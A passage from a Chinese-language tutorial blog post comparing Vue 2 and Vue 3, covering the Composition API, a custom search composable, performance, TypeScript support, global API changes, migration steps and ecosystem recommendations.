  onUpdated, 
  onBeforeUnmount 
} from 'vue';

export default {
  setup() {
    onMounted(() => {
      console.log('组件已挂载');
    });
    
    onUpdated(() => {
      console.log('组件已更新');
    });
    
    onBeforeUnmount(() => {
      console.log('组件即将卸载');
    });
  }
};

5. Composition API vs Options API

这是 Vue 3 最大的亮点!让我们看看实际对比:

5.1 Options API 的问题

// ❌ 相同功能的代码分散在不同选项中
export default {
  data() {
    return {
      searchQuery: '',
      results: [],
      loading: false,
      page: 1
    };
  },
  methods: {
    fetchResults() { /* ... */ },
    nextPage() { /* ... */ }
  },
  computed: {
    totalPages() { /* ... */ }
  },
  watch: {
    searchQuery() { /* ... */ }
  }
};

问题: 要在文件中反复横跳,维护困难!

5.2 Composition API 的解决方案

// ✅ 相关逻辑组织在一起(类似 React Hooks)
import { useSearch } from './composables/useSearch';
import { usePagination } from './composables/usePagination';

setup() {
  const { searchQuery, results, loading } = useSearch();
  const { page, totalPages, nextPage, prevPage } = usePagination();
  
  return {
    searchQuery, results, loading,
    page, totalPages, nextPage, prevPage
  };
}

5.3 自定义 Composable 示例

// composables/useSearch.js
import { ref, watch } from 'vue';

export function useSearch(apiEndpoint) {
  const searchQuery = ref('');
  const results = ref([]);
  const loading = ref(false);
  
  async function fetchResults() {
    loading.value = true;
    try {
      const res = await fetch(`${apiEndpoint}?q=${searchQuery.value}`);
      results.value = await res.json();
    } finally {
      loading.value = false;
    }
  }
  
  watch(searchQuery, fetchResults);
  
  return { searchQuery, results, loading, fetchResults };
}

// 使用
const { searchQuery, results, loading } = useSearch('/api/search');

✨ 优势:

  • 逻辑复用更简单
  • TypeScript 推断更友好
  • 代码组织更清晰
  • 测试更容易

6. 性能提升对比

先说结论:Vue 3 真香!

指标 Vue 2 Vue 3 提升幅度
包体积 ~30KB ~10KB 3 倍减小 📦
初始渲染 基准 快 40% ⚡️
内存占用 基准 减少 50% 📉
更新性能 基准 快 1.3-2 倍 ⚡️
Tree-shaking 🎯

Tree-shaking 示例

// Vue 3 - 只导入需要的
import { ref, computed } from 'vue';
// 未使用的功能会被打包工具移除

// Vue 2 - 导入整个 Vue
import Vue from 'vue';
// 即使用不到,也会全部打包

7. TypeScript 支持

Vue 2 + TypeScript

import Vue from 'vue';
import Component from 'vue-class-component';

@Component({
  props: { msg: String }
})
export default class MyComp extends Vue {
  count: number = 0;  // 需要装饰器
  
  increment() {
    this.count++;
  }
}

痛点: 配置复杂,类型推断有限

Vue 3 + TypeScript

import { defineComponent, ref } from 'vue';

export default defineComponent({
  props: {
    msg: {
      type: String as PropType<string>,
      required: true
    }
  },
  setup(props) {
    const count = ref<number>(0);  // 完整的类型推断
    
    return { count };
  }
});

优势: 原生 TypeScript 支持,类型推断完美!


8. 全局 API 变更

Vue 2 全局 API

import Vue from 'vue';

Vue.config.productionTip = false;
Vue.use(SomePlugin);
Vue.component('my-comp', MyComp);
Vue.directive('my-dir', MyDir);
Vue.filter('capitalize', fn);  // ❌ 已移除

new Vue({ /* options */ });

Vue 3 应用实例 API

import { createApp } from 'vue';

const app = createApp({ /* options */ });

app.config.productionTip = false;
app.use(SomePlugin);
app.component('my-comp', MyComp);
app.directive('my-dir', MyDir);
// ❌ filters 已移除

app.mount('#app');

⚠️ 破坏性变更:

  • 全局 API 移至应用实例
  • 移除过滤器 (filters)
  • 移除 $on/$off/$once
  • 移除 keyCode 修饰符

9. 迁移策略建议

渐进式迁移路线

Vue 2.x → Vue 2.7 → Vue 3 (Migration Build) → Vue 3 (Composition API)

Step 1: 升级到 Vue 2.7(包含部分 Vue 3 特性)

Step 2: 使用迁移构建版本测试

Step 3: 逐步迁移组件到 Options API

Step 4: 按需使用 Composition API 重构

Step 5: 更新生态系统(Vuex → Pinia, Router 4)

常见迁移问题

// ❌ 已移除的 API
this.$on('event', handler);
this.$off('event', handler);

// ✅ 替代方案:mitt
import mitt from 'mitt';
const emitter = mitt();
emitter.on('event', handler);

// ❌ 过滤器
{{ message | capitalize }}

// ✅ 改为函数调用
{{ capitalize(message) }}

10. 生态系统对比

工具 Vue 2 Vue 3 推荐度
状态管理 Vuex 3/4 Pinia ⭐⭐⭐⭐⭐
路由 Vue Router 3 Vue Router 4 ⭐⭐⭐⭐⭐
构建工具 Vue CLI Vite ⭐⭐⭐⭐⭐
DevTools Vue Devtools Vue Devtools 6+ ⭐⭐⭐⭐
UI 框架 Element UI Element Plus ⭐⭐⭐⭐
SSR Nuxt 2 Nuxt 3 ⭐⭐⭐⭐⭐

💡 我的推荐栈:

Vue 3 + Vite + Pinia + Vue Router 4 + Element Plus

📊 总结与选型建议

Vue 2 的优势

✅ 成熟稳定,社区资源丰富
✅ 学习曲线平缓
✅ 大量现成的组件库
✅ 适合老项目维护

Vue 3 的优势

✅ 性能大幅提升(Proxy 响应式)
✅ 包体积更小(Tree-shaking)
✅ TypeScript 支持完美
✅ Composition API 代码组织更好
✅ 更好的调试体验
✅ 长期支持(LTS)

🎯 选型建议

新项目: 无脑选 Vue 3 + Vite + Pinia
老项目: 根据业务需求决定是否迁移
学习路线: 先学 Vue 3,再了解 Vue 2 差异


🤔 常见问题 FAQ

Q1: Vue 2 停止维护了吗?
A: Vue 2 已于 2023 年 12 月 31 日结束 EOS(生命终止),不再接收安全更新。

Q2: 必须迁移到 Vue 3 吗?
A: 如果项目运行稳定且无新需求,可以不迁移。但新项目强烈建议使用 Vue 3。

Q3: Composition API 会完全取代 Options API 吗?
A: 不会。两者可以共存,根据团队偏好选择。

Q4: 学习 Composition API 难度大吗?
A: 如果有 React Hooks 经验,上手很快。纯 Vue 用户需要适应一下思维方式。


📝 参考资料:


如果这篇文章对你有帮助,欢迎点赞收藏!有任何问题欢迎在评论区留言讨论~

标签: #Vue #Vue3 #前端开发 #JavaScript #Web 开发

❌
❌